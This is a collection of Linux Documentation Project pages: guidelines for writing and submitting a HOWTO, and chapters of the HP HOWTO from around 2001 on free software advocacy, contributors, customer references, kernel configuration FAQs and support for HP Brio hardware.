However, there are exceptions, such as those that document older programs and procedures that still might be in use, or those that cover more obscure topics.

Prev | Home | Next
Single list of mini-HOWTOs |  | Writing and Submitting a HOWTO


Writing and Submitting a HOWTO

LDP HOWTO-INDEX
Prev Next

Chapter 8. Writing and Submitting a HOWTO

If you are interested in writing or maintaining a HOWTO, please contact us FIRST at feedback@en.tldp.org. If you want to maintain a unmaintained HOWTO, please try to contact the former author.

Consult the LDP Author Guide for detailed information on writing and submitting a HOWTO.

Here are a few general guidelines that you should follow when writing a HOWTO:

  • Try to use meaningful structure and organization, and write clearly. Remember that many of the people reading HOWTOs do not speak English as their first language.

  • Make sure that all of the information is correct. We can't stress this enough. When in doubt, speculate, but make it clear that you're only guessing.

  • Make sure that you are covering the most recent version of the available software. Also, be sure to include full instructions on where software can be downloaded from (FTP site name, fullpathname), and the current version number and release date of the software.

  • Include an FAQ section at the end, if appropriate. Many HOWTO documents need a ``FAQ'' or ``Common Problems'' section to cover information which cannot be covered in the regular text.

  • HOWTOs should be submitted to us in either DocBook or linuxdoc SGML; or DocBook XML. Refer to the LDP Author Guide for further information.

  • Use other HOWTOs a model. The SGML/XML source to the HOWTOs is available on Linux FTP sites. In addition, examine the LDP Author Guide, the LDP manifesto (and license guide), and the Using DocBook HOWTO.

  • Make sure that your name, email address, date, and a version number is near the beginning of the document. You could also include WWW addresses and a postal mail address if you want. The standard header is: Title / Author's name and email address / Version number and date. For example:

    The LDP Sample HOWTO by various_authors v6.1, 2001-05-01

    Refer to the LDP Author Guide for further information.

  • Lastly, be prepared to receive questions and comments about your writing. There are several hundreds of accesses to the HOWTO collection every day from around the world.

After you have written the HOWTO, mail the SGML source to us at submit@en.tldp.org.

It is important that you go through us when submitting a HOWTO, as we maintain the archives and need to keep track of what HOWTOs are being written and who is doing what.

Please send the LDP periodic updates whenever appropriate.

Prev | Home | Next
Unmaintained HOWTOs |  | Copyright Information


Free software concepts

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 2. Presentation of Linux and Free Software Next

2.2. Free software concepts

Once the definitions are given, it is important to stay on at ideas promoted by the free software movement. It's important as well to clear some wrong ideas hawked on these software. This section gives then a various set of elements in favour of the introduction of free software and ends on the real problems remaining to solve.

2.2.1. Free software philosophy

In fact, the philosophy promoted by the free software movement is not that different from the one proposed by the scientific movement till a long time already: to put in common ideas and collective knowledge to allow the progression of the research and the growth of this knowledge. The knowledge of the human genome is one of the examples of such a collaborative work.

The computer engineering environment, and especially the software one, seems to have turn away till the last 20 years from these base concepts of the scientific world. It prefers on the contrary to keep the customer captive instead of giving him the information needed to exploit his computing environment the best he can. That's indeed following such a problem at the begining of the 80's that Richard Stallman, who was doing researches in artificial intelligence at the MIT, decided to create the GNU project. This project is the foundation of the current free software movement.

The main ideas promoted by this movement and stated by Richard Stallman himself are :

  • Liberty: every user should be free to copy, diffuse, modify a program, either to share it with others, or to adapt it to his own needs. As well, he should be able to analyse it to understand, imitate, improve, verify its operations, as well as every scientific result is published and seen by the peers for verification, study, understanding and realisation of derived works. Could you imagine a vaccine against the liver cancer that another laboratory couldn't derive to make a vaccine against the pancres cancer. Of course, the negative impact of patents at that level is obvious.

  • Equality: every person should have the same rights on the software. Thus the provider isn't priviledged and can't keep customers to whom he furnished his work captive. Could you think that only the producer of our vaccine could use it ? With software patents, if you don't pay, you cannot use them (think to discussions around RANT and W3C standards).

  • Fraternity: this mode of working encourages the whole computer engineering community to cooperate and thus to produce software more and more reliable and useful to all. Could you imagine that a discovery like the vaccine above couldn't help everyone and favour other discoveries. Again with software patents, nothing like that is possible.

More over the utopy of these ideas, we can find other reasons which allowed free software to spread so widely today. They are detailed in Section 2.2.2.

The free software movement materializes itself also through a community of people. That community, informal meeting of personnalities, is heterogeneous in its contents, actions, ideas, even if all share the same belief in the freedom of the software. That community created for itself the tools needed to its communication : Internet and Usenet. And these communication tools are based of course on a lot of free software to work. Among the outstanding persons of this movement, we can present :

  • Linus Torvalds, conceptor of Linux.

  • Richard Stallman, GNU project conceptor.

  • Eric S. Raymond, writer of several and excellent articles, which inspired so many vocations.

  • Larry Wall, author of Perl and of the patch tool, and philosopher.

  • Alan Cox, mister "do everything".

  • Tim O'Reilly <ask_tim@oreilly.com>, free software advocate and editor of several books dedicated to them.

All these personalities are, above all, excellent computer engineers, which allows them to be recognized as major actors of the free software movement. Their human and communication qualities are also strong characteristics of their nature. In any case they aren't considered for their power, but for their knowledge.

Of course, the free software community is built of thousands of programmers, whose complete list would be too tedious. All share the will of producing useful work, free, and to be recognized for their technical qualities above all.

2.2.2. The choice of free software

To use free software to bring solutions in a computing environment is a choice. First, it is in favour of a plurality of solutions, mainly in the personal computer world which tends to be monopolistic. Then, the choice is made, and that's what is finally important, on the own qualities of free software, which are detailed just below.

Source code access

This point is the most important of the choice, because it allows the undestanding, adaptation, correction, distribution, improvement of the software.

Reliability

That quality is derived from the previous one: the free software is the combined result of the experience and the intelligence of all the participants. Its reliability increases then as time passes, with all the corrections which are made. More over, no marketing pression requires the software's producer to deliver it to its customers before it is in a satisfactory state.

Portability

This quality is not intrinsic to free software, but is very often seen in a free software. Indeed if a softawre meets success, it will necessarily be adapted to other environments than those initialy considered. Thus by increasing its disponibility, its portability and reliability are also increased. linux works today on a HP Jornada or IBM watch, as well as on s390 or SuperDome.

Universality

One essential quality of free software is the character naturaly universal of the data format used. Even if they don't follow standards, the availibility of the source code assures the user that he will understand them, and more over be able to write any filter needed to reuse these data or exchange them with other software. This allows also users to stabilize their environment, because they are not required to migrate due to incompatibility of data formats in their applications. Don't forget that your data are precious ans thet it's better to archive them under a *ML format (HTML, XML, SGML, ...) rther than a proprietary one.

Performance

Resulting from a lot of examinations, the use of algorithms coming from advanced research works, as well as tested by various usages, free software have good performances by nature. Frequently large portions of code are rewritten to allow the reuse of the original ideas with a better code and thus to increase performances. Several tests made by various organisms tend to prove it also

Table 2-1. Performances of Free Software

Subject | URL
Apache Web Server and competitors | http://www5.zdnet.com/products/content/pcmg/1709/305867.html
SMB SaMBa server vs Windows NT | http://www.zdnet.com/sr/stories/news/0,4538,2196106,00.html

Once more, there is no obligation to diffuse an application whose performances would be bad.

Interoperability

Interoperability is a reality of today's enterprises. Historically, Unix environment was always a ferment for interoperability with other systems (big or medium size systems, as well as personal computers). The support in Linux, for example, of a lot of network protocols, filesystem formats, and even binary compatibility modes assures a good interoperability. By the way, interoperability requires 2 actors, and having only one open is generally not sufficient. That's the goal of having RFCs, norms, standards, ...

Reactivity

When considering the more and more longer development cycles of the software editors, the reactivity brought by the free software movement is interesting for a lot of sites, concerned by the rapid obtention of corrections to a given problem. Thus, during the recent discoveries of IP problems (ping of the death,...), patches were always available within the next 3 days. And above that, only the patch correcting the hole found was delivered. There were no functionality added, which could have create other instabilities.

Security

The best computing security possible is ensured by a robust construction, public and reknown algorithms, a quick communication around flaws, ... In other words by transparency. Obscurity is in this domain bad, useless and even dangerous. In the free software world, the reactivity described in the previous paragraph is a garanty of increased security, ... at the condition that patches are applied regularly.

Independantly of its qualities, it's possible to give other reasons of various nature, in favor of free software, depending on the type of the person met.

2.2.2.1. Marketing argumentation

Studies from IDC bring to light the irresistible rise of Linux as a server operating system. In 1998, Linux is credited with 17% of market share, with an increase of 212%, which is the most important in that domain. The following graphics give the whole market share repartition.

Figure 2-1. Server operating system repartition in 1998 (IDC).

This was confirmed in 1999 with a market share climbing to 24% and an ancrease of 93%, always more than four times the increase of the follower.

Figure 2-2. Server operating system repartition in 1999 (IDC).

Dataquest estimates on its side that Linux servers will represent, with 1.1 million of units, 14% of the servers sold in 2003.

The Net itself produces marketing tools to demonstrate the superiority of free software. Counters are regularly updated by Netcraft and others, on web server software, and another was done by IOS Counter for the servers on Internet. Results, reproduced below, show the importance taken by Apache with more than 16 millions of operational sites (among them 30% run Linux), crushing the competition, as well as the free operating systems Linux and *BSD which dominate the world of Internet servers.

Figure 2-3. Web server software by Netcraft between 1995 and 2001.

Figure 2-4. Repartition of Internet servers by IOS Counter in April 1999.

A detailed explanation based on the most precise numbered results is also regularly updated, showing the advantages to use free and open source software, Cf: http://www.dwheeler.com/oss_fs_why.html.

2.2.2.2. Financial argumentation

Financial factors also speak for free software. And first the price to aquire them is low. Low, because it's never zero. Even if you can find it on the Internet, you have to consider the costs related to that link. However costs are greatly less expensive than for commercial software. So a RedHat 7.2 Linux distribution, delivered with more than 1400 software packages, costs about 60 USD when you have to pay more than 800 USD to obtain Windows 2000 server, delivered only with IIS.

On the other side, free software don't have the notion of license by user or by supplmentary service. Thus there is no additional cost when you have to increase the use of these software in your entity. That's of course not the case with commercial software whose economical logic is often based on the number of licenses.

Free software bring in addition a better mastering of the TCO (Total Cost of Ownership), mentionned so frequently in the massive deployment of personal computers. Thus administration costs are reduced because systems like Linux or FreeBSD, as Unix, are managed completely remotely, either through command line orders (with telnet or ssh) or in graphical mode by using X-Window. More over, we benefit from a true multi-users mode, improving these management operations. Always in this domain, it's also possible to do remote management, either through the own hardware capacities of the machine (as the Remote Assistant card integrated in most HP NetServers), or by doing a remote connexion (through modem, ISDN adapter or a permanent link) thanks to the native PPP protocol and secure connexion systems as tunneling or ssh. This managemnt could even be realised by an external entity, in outsourcing.

At last, the costs due to the hardware themselves could be controled; on one side, if by chance free software don't meet the needs, it's always possible to buy then commercial software solutions to cover the rest on the same hardware. On the other side, solutions based on free software have good performances by nature, and can use hardware platforms which would be considered as obsolete, if installed following the standard criterias of other operating systems or applications. The fact to separate the graphical interface from the rest of the working system is here key. It's so possible to use "old" hardware, mainly to model. It's then possible to invest, with a fine knowledge, when puting the solution in operation, if needed. The power increase may naturaly take place progressively.

2.2.2.3. Technical argumentation

This argumentation was already given in the previous sections. I think nevertheless that some notions may be explained with complementary information.

So concerning the reliability aspects of free software based solutions, it's important to note that it implies an operational running time very high (standard characteristic of Unix systems in general). This is mesured by the command uptime. One of Medasys and HP customers, Saint-Michel Hospital in Paris, has a Vectra VL5 acting as router under Linux since more than 300 days. And that's not a isolated case.

Respect of standards and norms, as well as the extreme portability of free software assures also to applications developed on these platforms the same qualities. And notably, if after their use, the performances or services brought by free software based architectures were insufficient (it may be caused by architecture problems such as PCI bandwidth, number of processors available, ...), it would be easy to migrate to machines offering more performances and capacities of evolution, as the HP 9000 systems, running HP-UX.

At last a development plan centered around performances implies a modularity, such as it's possible to resize the system kernel nearest to the capacities of the hardware or to use dynamically loaded modules following the needs. A packages installation may vary from 40 MB for a minimal system up to many GB for a complete distribution. The system linearity allow also the support of multi-processors machines (SMP) (tested up to 32 processors on a Sparc machine). The system modularity allows also to obtain an operational system on a 1.44 MB floppy disk, either to realize a minimal repair environment, or to provide a perfectly operational router. The world of embedded systems shows besides more and more interest for systems such as Linux, because above it's modularity, source availability makes communication with dedicated peripherals easier (acquisition cards, sonde, ...). Entities as CERN or Thomson already use such solutions.

2.2.2.4. Solutions argumentation

That argumentation is probably the most important of all, because it's useless to have free software if it's not to make something useful with it or to offer solutions to demands of entities willing to use it. In which sectors free softawre may bring solutions today ? Well, you have to admit it's in nearly all the sectors of enterprise computing.

Historically, Open Source Software were used to realise Internet/Intranet servers, because their growth was following the one of the Net. It's so possible to cover all aspects linked to the Internet, from the Web server ( Apache ), FTP server (Wu-Ftpd), DNS server (Bind), the E-Mail server (Sendmail or PostFix ), the Usenet groups server (INN), the proxy server (IPmasqadm), the firewall (IPChains or IPTables), Virtual Private Network (OpenSSH), the Cache server for the Web ( Squid ) or also the Time server (NTP) or as directory service(LDAP) server, or as content management(Midgard) server ... All these software are available in standard in a Linux distribution. The client computer should be equiped with the software corresponding to the application used (mail reader, news reader, web browser, ...) whatever its operating system. The choice of the client is free, as all these tools respect the standards decreed in the RFCs.

The second preferential domain for free software is the file and print server domain. For these services, clients may be multiple: Unix type (use of NFS and KNFS or also Coda and Inter-Mezzo, for file sharing and of lpd or CUPS for print service), Microsoft Windows type (use of SaMBa , which allows also the use of local client printers), Novell type (use of Mars_nwe) or MacIntosh type (use of NetAtalk). All these software are provided in standard in a Linux distribution and don't need any modification at the client level to work.

The other domains where a system such as Linux may bring solutions is the computation one, with support of multiprocessor, linked to the realisation of clusters with multiple nodes with Mosix or BeoWulf with high-speed network interfaces (100 Mbit/s, Gigabit or Myrinet); those of data security with the support of HP NetRaidRem. cards, allowing Raid level of 0, 1, 3, 5, 10, 50, and HotSpare disks, managed by the harware; those of centralized fax server, with a free software like HylaFAX or also as an archive/backup server with HP SureStore DAT or DLT libraries thanks to a GPL software like Amanda or a commercial one like Arkeia or at last as a database server with free solutions like PostgreSQL,MySQL or commercial like Oracle, to speak only of these three.

On the client side, even if it's less highlighted for the moment, possibilities to use solutions based on free or commercial software are numerous. Here also the Internet part is the main one, with tools like graphical web browsers (Netscape, Mozilla or Konqueror) or textual (lynx or w3m), a lot of graphical mail readers (Kmail, XFMail, ...) or textual (mutt, elm, ...). But you also have the whole panel of indispensable tools for a personal computer today as a PDF reader (Acrobat Reader or xpdf), image manipulation tools (ImageMagick, the Gimp, RealPlayer tools ...), word processors (LyX, LaTeX, SGMLTools, Wordperfect, ...), commercial office suites (ApplixWare, StarOffice), or opensource (Koffice, OpenOffice, ...), sound management tools (Xmms, eplaymidi, xmcd, ...), CD burning tools (cdrecord, BurnIT, ... with complements as mkisofs, cdparanoia, cdrdao), free and commercial emulators for various systems (Wine, Executor, WABI, DOSEmu,Win4Lin, VmWare...), compilers and interpretors for all the languages (C, C++, Pascal, Fortran, Basic, Tcl/Tk, Perl, Python, Ada, Eiffel, Lisp, Scheme, Prolog...), including commercial versions ( PGI, Intel...), graphical environments (Gnome, KDE, Motif, OpenMotif, ...). The evolution of these last tools indicates that the 2000's may be the years where Linux and free software will break through at their turn on the client.

I want to mention that this document was realised on an HP Brio BAx, then on a Vectra VL400 equiped only with a Linux distribution, with the help of tools like DSSSL style sheet, OpenJade and DocBook, ViM which allowed to generate from a single source the formats HTML, Txt, RTF, PostScript, and PDF.

2.2.2.5. Service argumentation

This one was for a long time a blocking point to the expansion of free software in the firms. It's not the case today. Many service providers or hardware manufacturers, like HP, control today these solutions and propose support around them, uoto missions critical if requested.

Other sources of information are also available, in abundance, through several web sites dedicated to these solutions, specialised mailing-lists, and various Usenet groups, such as for Linux, the international groups under comp.os.linux.* or for the french speaking people under fr.comp.os.linux.*.

Concerning competences, more and more young engineers or academics finish their learning cycle being trained to the use of free applications and operating systems. This wealth of competences arrives now on the labour market and will contribute to increase the movement of generalisation of these tools. At last, many firms have internaly ignored competences. In fact, their employees often install this software at home, and have a good mastering, usable when arrives the deployment of the software in their professional structure.

2.2.3. Wrong ideas on free software

Advocating free software consists also to mention some generally accepted ideas concerning them and to fight them.

"There is no support, no training"

As seen previously, support is currently structuring itself. A firm like RedHat provides today support for their solutions. Only in France, we may mention firms like Medasys , Atrid, Alcove which assure support on free software. Likewise, always in France, training on free software may be given by HP France, Learning Tree, the IUT de Vélizy, without mentioning generic network and Unix trainings (besides proposed also by the same organizations) which represent a fundamental base in a training course. And at last, we should mention the ability of each of us to self-train, mainly thanks to the huge documentation available (See the Chapter 7).

"There is no documentation"

There is a whole set of manuals, the Linux Documentation Project, made of FAQ (Frequently Asked Questions) and HOWTO, counting more than 300 documents around Linux, the main being translated in french, and in japanese available as free documentation. This documentation has a various quality, more or less up to date, following the subjects, certainly but it makes a corpus allowing to apprehend alone a Linux distribution and all its components. For myself, I always found in it everything I needed to do my job with free software. And, in case of complementary information, a lot of web sites and Usenet groups may again bring some of the elements needed. And without counting the innumerable manual pages available on line. Each distribution comes also with a comprehensive set of manual covering all the tasks of installing, handling and managing them.

On the other side, the editors O'Reilly and SSC have specialised in providing books around free software, written generaly by the writers of the software themselves. Their books are considered as reference books in their respective domains.

"A free or nearly free product is a toy"

You should always make a difference between free (as speech) and free (as beer). Too many freeware in Microsoft environment are in fact toys and of poor quality. It's absolutely not the case for free software, as stated in the previous sections. Remember just that they are reliable by construction.

"Linux is difficult to install"

Linux is a professional operating system. At that title, it requires competences to install it, as well as any other professional operating system, like the other Unix or Windows NT for example. But it isn't more difficult to install than those either, mainly thanks to distributions as RedHat, Mandrake, ... You need about 30 minutes to realize a complete installation of such distributions, so quite the same as for HP-UX and noticeably less than for Windows NT Server.

On the other hand, as before installing a server with Windows NT you have to verify its compatibility with the Hardware Compatibility List of Microsoft, for Linux it's also greatly recommended to verify the Hardware HOWTO, and for HP machines to refer to Section 3.2.

"Free Software are not adequate for heavy tasks"

This is less and less true and this criticism has been obsoleted with the latest versions of the Linux kernel which will include a journalised filesystem, allowing a true application cluster. But already Linux authorises the use of multi-processors, several nodes to realise computation clusters. And don't forget it's used by the portal Voila (France Telecom) or the engine Google among other prestigious references. As well, FreeBSD is used with success as the world biggest ftp server : Walnut Creek CDROM server Useful projects to consult in this area of high availability are http://www.linux-vs.org, http://www.opengfs.org and http://www.linux-ha.org

"What appeal do I have in case of problem with the editors ?"

There is no appeal, because software licences deny all responsabilities for the writers, in case of problem. But, in reality developers are always ready to help in case of problem and try to correct as soon as possible the bugs encountered (for the F00F bug of the pentium, a patch for the Linux kernel was published within 3 days, for example). On the other side, commercial editors guarantee very badly users against problems other than packaging errors. Please read the notes furnished with your software to judge.

2.2.4. Real problems around free software

It would not be honest to negate certain remaining problems linked to free software. Some have begun to disappear, other are inherent to the system, other at last will take time to diappear.

The first problem, inherent to the model of free software, is the multiplicity of tools and distributions available. So, if you want to setup a mail server, you have to choose between Sendmail, Exim, PostFix, Qmail, Smail. As well if you want to install Linux, you may choose between the distributions RedHat , SuSE, Slackware, Mandrake, Turbo Linux, Debian. This represents often a problem for the newcomer, but the esperienced user will always prefer to have a large choice he will confront to his particularities and to his experience. As long as an actor respects the rules by freeing his code (it's the case of the rpm and deb formats for example), there is little risk from the comunity point of view. The key point is that the choice is made only taking in account technical criterias.

The second problem, inherent also to the free software birth, is the necessity to have strong Unix and Internet competences, to manage such solutions. The power available through these systems is proportional to the competence of their administrators. And that will stay true even with the growth of more and more grahical solutions to manage them. On the other side, you capitalize the investment in time to learn their functions and that doesn't disappear, because you don't have to re-learn eveything from one version to the other (I use the same editor, vi, for the last 15 years). Don't forget that systems you use daily seem to be simple, uniquely because you passed enough time to learn them. For Internet competences, it's a statement of the obvious to say that this investment isn't lost. At last, even with the work of translators to provide information in french and other languages, a good knowledge in technical english is definitively a plus.

The last problem met in the implementation of free software solutions is to suceed in convincing some managers to go against the prevailing opinion. The aim of this chapter is precisely to give all sorts of argumentations to achieve that goal, but you need each time to show conviction to get his way in the end. As soon as these solutions will be adopted by big firms principaly, resistances will disappear.

Previous | Home | Next
Presentation of Linux and Free Software | Up | Linux and other operating systems


Contributors

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Next

Chapter 8. Contributors

I would like to thank especially all the people who contributed in any way to improve this HOWTO :

  • Pierre-Antoine Angelini <angelini@ifsic.univ-rennes1.fr>

  • Khalid Aziz <Khalid_Aziz@hp.com>

  • Sarah Barclay <Sarah_Barclay@hp.com>

  • Tim Bell <bhat@trinity.unimelb.edu.au>

  • Jeroen ten Berge <j.ten.berge@getexo.nl>

  • Sylvain Bergé <Sylvain.Berge@medasys-digital-systems.fr>

  • Nancy Blachman <nancy@blachman.org>

  • Stéphane Bortzmeyer <bortzmeyer@debian.org>

  • Brendan Burns<bburns@wso.williams.edu>

  • Emmanuel Carras<emmanuel_carras@hp.com>

  • Kevin Carson<kevin_carson@hp.com>

  • Jean-Bernard Chaffardon <Jean-Bernard_Chaffardon@hp.com>

  • Khalil Chawoshi <chawoshi@subatech.in2p3.fr>

  • Béatrice Cornec <beatrice@victoria.frmug.org>

  • Sébastien Cottalorda <sebastien.cottalorda@mageos.com>

  • Nug Csigas <nug@sch.bme.hu>

  • Philippe Depouilly <Philippe.Depouilly@math.u-bordeaux.fr> - his site : http://www.math.u-bordeaux.fr/~depouill

  • Ludovic Didierlaurent <ludovic_didierlaurent@hp.com>

  • Frédéric Dubuy <F.Dubuy@atrid.fr>

  • Michael Dwyer <mdwyer@alumbre-tech.com>

  • Stéphane Eranian <Stephane_Eranian@hp.com>

  • Mark Eve <Mark_Eve@hp.com>

  • Greg Ferguson <gferg@hoop.timonium.sgi.com>

  • Laurent Frey <laurent.frey@iota.u-psud.fr>

  • Bertrand Gambier <Bertrand.Gambier@medasys-digital-systems.fr>

  • Bdale Garbee <Bdale_Garbee@hp.com>

  • Wilson Gardiner <Wilson_Gardiner@hp.com>

  • Stein Roar Gjøen <stein.roar.gjoen@ks-t.no>

  • Grant Grundler <grundler@cup.hp.com>

  • Jérémie Guillaume <jno@sasi.fr>

  • Yann Guillemot <Yann_Guillemot@hp.com>

  • Werner Heuser <wehe@snafu.de>

  • Marc Hia Balié <Marc_Hia-Balie@hp.com>

  • Jesse Don Hickson III <theme@montana.com>

  • Chris Holden <chris.holden@gte.net>

  • Keith Hopkins <keith_hopkins@hp.com>

  • Masanari Iida <Masanari_Iida@hp.com>

  • Markus Kuhn <Markus.Kuhn@cl.cam.ac.uk>

  • Bruce Kives <Bruce_Kives@hp.com>

  • Fabrice Lorrain <Fabrice.Lorrain@univ-mlv.fr>

  • Pascal Lemonnier <Pascal.Lemonnier@medasys.fr>

  • Qing Liu <qliu@club-internet.fr>

  • Maciej Macowicz <Maciej.Macowicz@epfl.ch>

  • Olivier Martinet <Olivier_Martinet@hp.com>

  • Mad Matt <madmatt@bits.bris.ac.uk> - his site : http://www.bits.bris.ac.uk/madmatt/laptop.shtml

  • Lee Mayes <Lee_Mayes@hp.com>

  • Craig McCluskey <mccluskey@nospam.mail.utexas.edu>

  • David Mentré <David.Mentre@irisa.fr>

  • Jacques Misselis <Jacques.Misselis@hp.com>

  • Oliver Neukum <520047054719-0001@t-online.de>

  • Andreas Nierula <A.Nierula@t-online.de>

  • Robert J. Niland <robert_niland@hp.com>

  • Gilles Noisette <Gilles_Noisette@hp.com>

  • Harry Page <HARRY_PAGE@HP-NewZealand-om1.om.hp.com>

  • Luis Pais <Luis_Pais@hp.com>

  • Alain Pascal <pascal@montrouge.omnes.slb.com>

  • David Paschal <paschal@rcsis.com>

  • Luis Peromarta <Luis_Peromarta@hp.com>

  • Daryl Poe <Daryl_Poe@hp.com>

  • Thomas Pornin <Thomas.Pornin@ens.fr>

  • Karthik Prabhakar <karthik_prabhakar@hp.com>

  • Fons Rademakers <Fons.Rademakers@cern.ch> - his site : http://hp-linux.cern.ch

  • Gallig Renaud<Gallig_Renaud@hp.com>

  • Valerie Rice<Valerie_Rice@hp.com>

  • Lane Rollins <laner@teleport.com>

  • Hester van Rooyen <reception@geo.co.za>

  • Eric Rueda <Eric_Rueda@hp.com>

  • Klamer Schutte <Schutte@fel.tno.nl>

  • Thierry Simonnet <t.simonnet@esiee.fr>

  • Chuck Slivkoff <charles_slivkoff@hp.com>

  • Junichi Shimoda <junichi_shimoda@hp.com>

  • Tech Support <support@ami.com>

  • Nicolas Thomas <Nicolas_Thomas@hp.com>

  • Dirk De Wachter <Dirk.DeWachter@rug.ac.be>

  • Norman Walsh <ndw@nwalsh.com>

  • Hans Witvliet <Hans.Witvliet@Alcatel.nl>

  • Tony White <tony@ycs.com.au>

  • Yuthay Yean <Yuthay.Yean@medasys.fr>

Previous | Home | Next
References |  | Future versions


Customer References

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Next

Chapter 6. Customer References

Here is a list of HP/Linux references:

  • Amazon: Mix of HP-UX and Linux solutions as related on http://www.zdnetindia.com/techzone/linuxcentre/stories/42345.html.

  • Checkpoint: HP Secure OS for Linux (aka Trusted linux).

  • Side Effects: Port of their software Houdini on Linux.

  • Nothing Real: Port of their software Shake on Linux.

  • Boeing: Linux and HP clusters help Boeing R&D reduce costs as related on http://www.hp.com/products1/linux/infolibrary/boeing.html.

  • ViaWest: a hp/Linux ISP as related on http://www.hp.com/products1/linux/infolibrary/viawest.html.

  • Israel Aircraft Industry: a hp/Linux performance cluster user as related on http://www.hp.com/products1/linux/infolibrary/israel.html.

  • SpeedEra: a hp/Linux ISP as related on http://www.hp.com/products1/linux/infolibrary/speedera.html.

  • Dreamworks: The Shreck movie realised on HP netserver/Linux as related on http://www.zdnet.com/zdnn/stories/news/0,4586,2761566,00.html.

  • Cern: Performance cluster realised with HP netserver/Linux as related on http://hp-linux.cern.ch.

Previous | Home | Next
Frequently Asked Questions (FAQ) |  | References


Frequently Asked Questions (FAQ)

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Next

Chapter 5. Frequently Asked Questions (FAQ)

5.1. "What's new in kernel 2.2 ?"
5.2. "What's new in kernel 2.4 ?"
5.3. "How to have more than 1 GB of RAM on my NetServer ?"
5.4. "How to have more than 128 MB of swap on my NetServer ?"
5.5. "How to use the other procesors of my NetServer ?"
5.6. "Is Linux Y2K compatible ?"
5.7. "How to increase the number of processes managed by the kernel ?"
5.8. "How to increase the number of loopback devices managed by the kernel ?"
5.9. "How to have files bigger than 2 GB on ext2 ?"

5.1. "What's new in kernel 2.2 ?"

Read Wonderful World of Linux 2.2 or the same in french.

5.2. "What's new in kernel 2.4 ?"

Read Wonderful World of Linux 2.4.

5.3. "How to have more than 1 GB of RAM on my NetServer ?"

The following information are adapted from the page of Rik van Riel. They concern 2.0.x as well as 2.2.x kernels, and 2.4.x.

First of all, the IA32 Intel architecture is limited by construction in its memory management to 4 GB. Space which should be divided into virtual memory and physical memory. Which means that if you choose to recognize more RAM, the maximum size for a program decreases.

But Linux can't manage more than 1 GB by default. To go above that, in fact up to 2 GB today, because Linux can't manage more memory for the moment, you need to modify 2 files provided with kernel sources and recompile it. Those 2 sources are /usr/src/linux/include/asm-i386/page.h and /usr/src/linux/arch/i386/vmlinux.lds.

From 2.0.37 and 2.2.12 kernels on, the patch was integrated in the kernel and may be activated when doing a make {menu,x}config.

The maximum Ram managed in the i386 version was ported to 64 GB after 2.3.23.

5.4. "How to have more than 128 MB of swap on my NetServer ?"

Up to the version 2.8x of the util-linux package, the mkswap command could create swap partitions only up to 128 MB maximum. You then had to create as much partitions as necessary. Till the 2.9 version, included in standard in RedHat 6.0 and following distributions, it's possible to create directly swap partitions up to 2 GB and to 8 partitions.

5.5. "How to use the other procesors of my NetServer ?"

Multi-processing is supported by Linux operationnaly till the 2.0 version of the kernel. For a 2.0.x kernel, you have to recompile it and set up the SMP variable in the Makefile to 1. For a 2.2.x or 2.4.x kernel, you have to set it up during the make {menu,x}config. For more details, please consult the SMP-HOWTO.

5.6. "Is Linux Y2K compatible ?"

Generally, Linux is Y2K compatible. For more information please consult the FAQ.

5.7. "How to increase the number of processes managed by the kernel ?"

For 2.2.x kernels, you need to edit the file /usr/src/linux/include/linux/tasks.h, modify the value of the constant NR_TASKS (512 by default) and set it to a value which doesn't exceed 4092 or 4090 if APM is configured. It could be useful to set MAX_TASKS_PER_USER at the same time to an appropriate value. Then recompile the kernel as usual.

5.8. "How to increase the number of loopback devices managed by the kernel ?"

You need to edit the file /usr/src/linux/drivers/block/loop.c, For 2.2.x kernels, you need to modify the value of the constant MAXLOOP (8 by default). For 2.4.x kernels, you need to modify the value of the static int max_loop variable. Then recompile the kernel as usual.

5.9. "How to have files bigger than 2 GB on ext2 ?"

You need to have a kernel 2.4.x, glibc 2.1.3 at least and that all necessary tools have been recompiled. Look at http://www.suse.de/~aj/linux_lfs.html

Previous | Home | Next
Linux as an office server |  | Customer References


HP hardware supported by Linux

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 3. Linux and HP products Next

3.2. HP hardware supported by Linux

This section presents HP hardware supported today by Linux. Informations are based on the latest stable version of the Linux kernel, which is currently version 2.4.16. A development kernel (version 2.5) is also available but doesn't offer any guarantee of stability.

3.2.1. Intel based computer range

Page last updated the 2001-12-21.

That computer range is today the main set of HP machines supported by Linux, and that till many years. In case you didn't already do it before, some preliminaty readings are recommended before to try to install Linux on these platforms.

The Linux Installation HOWTO contains a great number of information to install Linux. If you bought linux on a CD-ROM, chances are that installation instructions are provided with it (the little booklet inside the disk case, and/or files on the CD).

The Linux Kernel HOWTO should be read to have details on kernel construction. I will just mention here points which are specific to HP hardware.

Outside particular indication, Linux support means during the installation of a RedHat/Mandrake type distribution. In special cases, a kernel rebuild will be necessary to support completely some hardware elements. You should note that what is true for one distribution is generally true for another, as these functions are linked to the kernel or the XFree86 server, and not to the distribution itself.

In case of problem, the first reflex should be to update the BIOS of the HP machine, and to verify whether the problem is always there. If yes, you may then contact HP support, if your configuration is supported by HP (This document focus on what is working, superset of what is supported, and has no value in that area). On the other hand, if your machine is working correctly, don't update the BIOS without reason, this is always a risked operation. BIOS updates are available from http://www.hp.com/cposupport/software.html

3.2.1.1. The desktop range (Brio, Vectra, Kayak)

HP has a new program called "Freedom of Choice" on the whole desktop range. Linux is thus one of the operating systems pushed by HP. Cf: http://www.hp.com/desktops/linux/ and http://www.hp.com/pressrel/aug00/14aug00.htm.

A FAQ is also available.

HP insures the support of certified Linux hardware by the following method : all the machines have the Diagtool utility. If this utility indicates a problem, it's taken in account by HP maintenance. If it doesn't, it's considered as a software problem and should be reported to the distribution provider.

The following tables indicate the state of Linux support by these platforms :

Table 3-1. Brio and Linux

Machine | Graphic Card | Linux support | Network Card | Linux support | SCSI Card | Linux support | Sound Card | Linux support | Tested
Brio (D5522A, D5526A, D5857A, D6665A, D5838A, D5848A, D6514A, D5527A, D5528A, D6666A, D6675A, D5849A, D5839A, D5859A, D6666A, D6510A, D6515A, D6667A, D5840A, D5861A, D6668A, D5840C, D5841A, D6516B) | S3 Trio 64V2 PCI | Yes XFree 3.3.6Rem. (S3) | None | N/A | None | N/A | ??? | ??? | Yes
